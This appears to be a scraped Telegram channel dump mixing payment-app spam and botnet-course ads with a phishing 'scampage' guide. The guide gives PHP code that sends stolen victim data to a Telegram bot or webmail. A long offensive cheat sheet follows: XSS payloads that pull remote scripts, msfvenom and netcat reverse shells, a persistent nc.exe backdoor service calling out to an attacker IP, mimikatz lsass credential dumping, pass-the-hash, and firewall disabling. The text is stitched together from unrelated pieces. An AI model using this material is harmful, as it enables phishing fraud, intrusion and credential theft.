☘️ { 𝔖𝔠𝔞𝔯𝔩𝔢𝔱𝔱𝔞'𝔰 𝔏𝔬𝔲𝔫𝔤𝔢 } ☘️

If you sent a payment through Venmo and don't actually know how to check its status, rest assured. There are many ways to know if your Venmo payment successfully went through.

To send a payment through Venmo? 1️⃣ Open the Venmo app. 2️⃣ Tap "Pay/Request" at the bottom of the screen. 3️⃣ Search and add the person you want to. 4️⃣ Enter an amount and add a note. 5️⃣ Tap "Pay." Sending payments on Venmo is as easy as that but how do I know if my Venmo payment went through? Let's see how.

Sending a payment through Venmo is easy, you probably know how to do it since you're wondering how to know if your Venmo payment went through. However, for your convenience, it's good you understand how to make payment the right way on Venmo and avoid future issues with the payment.

💸 How Do I Know If My Venmo Payment Went Through 💸 Checking a payment's status on Venmo is very easy. Find out how to know if a Venmo payment went through successfully.

New Post on VIP Channel for Spammers Only. @scarletta_owner dm me now for you access.

Become A Certified Python Programmer Free Udemy Course – Python Programming exam Latest https://www.udemy.com/course/python-certification-exam-preparation-6-practice-tests/?couponCode=198717DC0CC2BF0AB5CB [Course Free For 1000 Enrolls]

Botnet course vouch Course price $150 Dm @t_h_e_k_a_s_p_e_r

Yesss I’ve made money from this course starting from zero, at least $15k

daily making 100-2k USDT with the botnet course

User info: ID: 828913072 First Name: ♛ 𝚏𝟺𝚌𝟹𝚛𝟷𝟶𝟶 | Last Name: [ 𝑩 𝑼 𝑺 𝒀 ] ♛ Username: @f4c3R100 User link: link Set $chat_id = 'TELEGRAM_CHAT_ID'; to your id, i.e.: $chat_id = '828913072'; 2️⃣ Create a bot, for this visit @BotFather and create bot, copy authtoken and replace with :

TELEGRAM_BOT_API

3️⃣ Calling it: telegram_send('This is a test message from f4c3r100!'); 📧 C-Panel Webmail Sending :

function send_mail($message)
{
    $to = 'YOUR_EMAIL.COM';
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Scarletta <scarletta@telegram.org>\r\n";
    $subject = "Message From @F4c3r100!";
    mail($to, $subject, $message, $headers);
}

1️⃣ Replace

$to = 'YOUR_EMAIL.COM';

with your email.

$to = 'scarletta@telegram.org';

then run it with : send_mail('Email test from @f4c3r100'); — Written By @scarletta_owner —

📑 SCAMPAGES — EMAIL OR TELEGRAM BOT RESULT? 📑 This topic will be a little bit about whether you prefer to send the results to the Telegram bot and eventually to one via Telegram, or send via the C-Panel webmail. Topics: ▪️Telegram Bot ▪️C-Panel Webmail ▪️Ad- and Disadvantages ▪️My Suggestion ▪️Code Examples Telegram Bot 🤖 A Telegram bot is responsible for all sorts of things, including using an API. Many users create useful bots such as a group admin, anti-spam bot, etc. The API can be used via the URL using the GET method to send messages to a chat ID. This can be used, for example, to include a sender of the results at each step of a phishing page. Since Telegram bots have few limits and not 1000 people storm the page at once, this will not affect the results. However, it will be quite hard to order the data correctly if there is no victim system (i.e. numbered results like Scarletta Pages). C-Panel Webmail 📧 The webmail, on the other hand, is a different matter. Here - as in any email mailbox - email can be read, deleted, sent and forwarded. PHP has a function called mail(), and this function is mostly used to send e-mail when the C-Panel webmail is enabled for sending e-mail. However, here we have more limits than with the bot, since we use a web host as a mailer. This may be easier at first, so that e-mails end up in your mailbox, but it becomes difficult when the send limit is reached, and no e-mail is sent to your mail. Ad- and Disadvantages 👍🏻👎🏻 Telegram Bot Advantages 🟢 ▪️Direct Delivery(Without waiting for receiving chat) ▪️Channel, Groups and Chat can be choose for receiving ▪️Instant Result Access Without Logging Into Results Mail(Avoiding 2FA Challenge, IP Log(VPN or Real IP)) ▪️Easy to setup ▪️Less Limits Telegram Bot Disadvantages 🔴 ▪️If People Get Your Token Your Bot Gets Fucked ▪️If Bot Traffic Is On Page, Your Chat Is Flooded ▪️If Results Are Not Sorted, Hard To Sort C-Panel Webmail Advantages 🟢 ▪️Sends Results To Your E-Mail ▪️You Can Manage All Sent / Received Mails ▪️ If You Use SMTP, No Limits On C-Panel Mail C-Panel Webmail Disadvantages 🔴 ▪️You Have To Login For Checking New Results ▪️If You Don't Use VPN, Your IP Is Leaked And You Leave Traces ▪️Leaves Traces (Results, Resultmail, ...) ▪️Much Limits If Not Using SMTP My Suggestion 🍀 I personally count on Telegram because it is faster and more reliable for me personally. You can't please everyone, but I find that Telegram gives you an active example for introduction videos and if you don't have CPanel, sending emails locally without SMTP doesn't work. Code Examples 🧑‍💻 🤖Telegram Bot Sender :

function telegram_send($message) 
{
    $curl = curl_init();
    $api_key  = 'TELEGRAM_BOT_API';
    $chat_id  = 'TELEGRAM_CHAT_ID';
    $format   = 'HTML';
    curl_setopt($curl, CURLOPT_URL, 'https://api.telegram.org/bot'. $api_key .'/sendMessage?chat_id='. $chat_id .'&text='. $message .'&parse_mode=' . $format);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    $result = curl_exec($curl);
    curl_close($curl);
    return true;
}

1️⃣ Write /start in @MissRose_bot chat, then write /info and copy your chat id. It looks like

# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ # http://www.fuzzysecurity.com/tutorials/expDev/4.html !mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t' GDB Debugger Commands # Setting Breakpoint break *_start # Execute Next Instruction next step n s # Continue Execution continue c # Data checking 'REGISTERS' and 'MEMORY' # Display Register Values: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) # Display values of specific memory locations command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) XSS Cheat Codes https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >") <script>document.location=http://IP:PORT</script> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ";!–"<XSS>=&amp;amp;{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>""> <IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;&amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;> <IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=javascript:alert(\"XSS\")>";' > out <BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")> (">< iframes http://google.com < iframes >) <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)> SSH Over SCTP (With Socat) # on remote server # assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22 # localhost # replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :) $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 # create socks proxy # replace username and -p port value as needed... $ ssh -lusername localhost -D 8080 -p 1337 Install Metasploit Community Edition in Kali 2.0 # github urls https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod +x metasploit-latest-linux-x64-installer.run && ./metasploit-latest-linux-x64-installer.run # create user $ /opt/metasploit/createuser [*] Please enter a username: root [*] Creating user 'root' with password 'LsRRV[I^5' ... # activate your metasploit license https://localhost:3790 # update metasploite $ /opt/metasploit/app/msfupdate # use msfconsole $ /opt/metasploit/app/msfconsole

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c MSF Linux Reverse Meterpreter Binary msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell MSF Reverse Shell (C Shellcode) msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c MSF Reverse Shell Python Script msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py MSF Reverse ASP Shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp MSF Reverse Bash Shell msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh MSF Reverse PHP Shell msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php \n/' shell.php MSF Reverse Win Bin msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe Linux Security Commands # find programs with a set uid bit find / -uid 0 -perm -4000 # find things that are world writable find / -perm -o=w # find names with dots and spaces, there shouldn’t be any find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print # find files that are not owned by anyone find / -nouser # look for files that are unlinked lsof +L1 # get information about procceses with open ports lsof -i # look for weird things in arp arp -a # look at all accounts including AD getent passwd # look at all groups and membership including AD getent group # list crontabs for all users including AD for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done # generate random passwords cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 # find all immutable files, there should not be any find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ # fix immutable files chattr -i file Win Buffer Overflow Exploit Commands msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) # Useful Commands: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh !mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest SEH - Structured Exception Handling # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH !mona suggest !mona nosafeseh nseh="\xeb\x06\x90\x90" (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) ROP (DEP) # https://en.wikipedia.org/wiki/Return-oriented_programming # https://en.wikipedia.org/wiki/Data_Execution_Prevention !mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest) ASLR - Address space layout randomization # https://en.wikipedia.org/wiki/Address_space_layout_randomization !mona noaslr EGG Hunter techniques

meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell Hashcat password cracking hashcat -m 400 -a 0 hash /usr/share/wordlists/rockyou.txt Netcat examples c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt Banner grabbing with NC nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter> Window reverse shell c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 Find SUID\SGID root files # Find SUID root files find / -user root -perm -4000 -print # Find SGID root files: find / -group root -perm -2000 -print # Find SUID and SGID files owned by anyone: find / -perm -4000 -o -perm -2000 -print # Find files that are not owned by any user: find / -nouser -print # Find files that are not owned by any group: find / -nogroup -print # Find symlinks and what they point to: find / -type l -ls Python shell python -c 'import pty;pty.spawn("/bin/bash")' Python\Ruby\PHP HTTP Server python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888 Get PIDs of process fuser -nv tcp 80 fuser -k -n tcp 80 Hydra rdp Bruteforce hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp Mount Remote Windows Share smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw Compiling Exploit in Kali gcc -m32 -o output32 hello.c (32 bit) gcc -m64 -o output hello.c (64 bit) Compiling Windows Exploits on Kali wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe NASM Commands nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload SSH Pivoting ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target SSH Pivoting from One Network to Another ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target Pivoting Using metasploit route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E or # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.2 Exploit-DB search using CSV File git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel" cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 MSF Payloads

🧪 WEB PENSTING 🧪 Nmap Full Web Vulnerable Scan cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target Dirb Dir Bruteforce: dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt Nikto web server scanner nikto -C all -h http://IP WordPress Scanner git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p HTTP Fingerprinting wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt SKIP Fish Scanner skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP Nmap Ports Scan nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP) nmap -Pn -T2 -sV –randomize-hosts IP1,IP2 nmap –script smb-check-vulns.nse -p445 target (using NSE scripts) nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5) nmap -sA -PN -sN target nmap -sS -sV -T5 -F -A -O target (version detection) nmap -sU -v target (Udp) nmap -sU -P0 (Udp) nmap -sC 192.168.31.10-12 (all scan default) NC Scanning nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done Unicornscan us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 -H resolve hostnames during the reporting phase -m scan mode (sf - tcp, U - udp) -Iv - verbose Xprobe2 OS fingerprinting xprobe2 -v -p tcp:80:open IP Samba Enumeration nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target SNMP Enumeration snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP Windows Useful cmds net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits PuTTY Link tunnel Forward remote port to local address plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP Meterpreter portfwd # https://www.offensive-security.com/metasploit-unleashed/portfwd/ # forward remote port to local address meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 Enable RDP Access reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable Turn Off Windows Firewall netsh firewall set opmode disable Meterpreter VNC\RDP run getgui -u admin -p 1234 run vnc -p 5043 Add New user in Windows net user test 1234 /add net localgroup administrators test /add Mimikatz use git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full Passing the Hash git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd or apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP or